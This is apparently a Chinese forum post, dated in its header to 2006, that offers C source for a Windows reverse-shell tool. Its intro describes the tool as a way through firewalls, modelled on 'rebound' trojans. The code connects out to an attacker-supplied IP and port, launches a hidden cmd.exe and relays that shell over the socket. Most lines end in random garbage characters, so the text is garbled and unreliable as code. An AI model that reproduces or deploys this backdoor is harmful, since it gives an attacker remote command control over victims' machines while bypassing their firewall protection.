这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;/ wl.'GA
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/* ============================== Ynn:,
Rebound port in Windows NT --S1p0
By wind,2006/7 Sq#AnD6To
===============================*/
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#include ;Fo%R$y
#include c@SNbY4}%
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#pragma comment(lib,"wsock32.lib") VO"/cG;]*
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void OutputShell(); ^?+qNbK
SOCKET sClient; |3LD"!rEx
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7rIz
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void main(int argc,char **argv) ;_$Q~X
{ -DVoO2|Dv
WSADATA stWsaData; EC9bCd-z
int nRet; @wvgMu
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) RIC\f_Dv
{ 6XP>qI,AJ
printf("Useage:\n\rRebound DestIP DestPort\n"); "0*yD[2
return; w!/\dqjv
} ^$FNu~|K
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WSAStartup(MAKEWORD(2,2),&stWsaData); fnXYp
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (-}:'5|Yj
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stSaiClient.sin_family = AF_INET; 'iY~F 0U
stSaiClient.sin_port = htons(0); Zr(4Q9fDo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (M0"I1g|w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _h6j, )
{ ddTsR
printf("Bind Socket Failed!\n"); lF[m*}l
return; ^`~s#L7
} $&25hvK,
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stSaiServer.sin_family = AF_INET; uBp,_V?
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y ;/T.W9!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .2Q4EbM2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8=K%7:b
{ C33BP}c]
printf("Connect Error!"); hQeGr2gMq
return; 1'NJ[
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} |mM K9OEu
OutputShell(); vU,V[1^a
} &6feR#~A
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void OutputShell() k!Ym<RD%N
{ c;X%Ar
char szBuff[1024]; X!b+Dk
SECURITY_ATTRIBUTES stSecurityAttributes; 0dTHF})m
OSVERSIONINFO stOsversionInfo; $#z-b@s=B
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {4n
STARTUPINFO stStartupInfo; \DiAfx<Ub
char *szShell; }s7@0#j@a
PROCESS_INFORMATION stProcessInformation; *5QN:
unsigned long lBytesRead; f7lt|.p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A`B>fI
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /~(T[\E<
stSecurityAttributes.lpSecurityDescriptor = 0; J9%I&lu/
stSecurityAttributes.bInheritHandle = TRUE; {xD\w^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .Ei#mG-=}&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D_N0j{E
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); HUFm@?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h]Y,gya[yk
stStartupInfo.wShowWindow = SW_HIDE; |C"zK
stStartupInfo.hStdInput = hReadPipe; 9xN`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `@<~VWe5
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GetVersionEx(&stOsversionInfo); &wX568o
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switch(stOsversionInfo.dwPlatformId) \wKnX]xGf
{ $$
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case 1: &At9@
szShell = "command.com"; q)l1tC72
break; "X(9.6$_
default: y$}o{VE{x
szShell = "cmd.exe"; Z=m5V (9
break; Gw$Y`]ipy
} 4wkmgS
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !X5LgMw^ ;
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send(sClient,szMsg,77,0); u}">b+{!
while(1) H %Dcp#k
{ 4Uk\h gT0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z j F'CY
if(lBytesRead) e#AmtheZR
{ XxY wBc'pc
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hAV@/oQ
send(sClient,szBuff,lBytesRead,0); \>\_OfY1W
} Pil_zQ4
else !DM GAt\
{ ri2`M\;gt
lBytesRead=recv(sClient,szBuff,1024,0); KY%LqcC
if(lBytesRead<=0) break; =E$B0^_2RC
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~c=F$M^"c
} #Q1
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} <74r
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return; I&%KOe0
}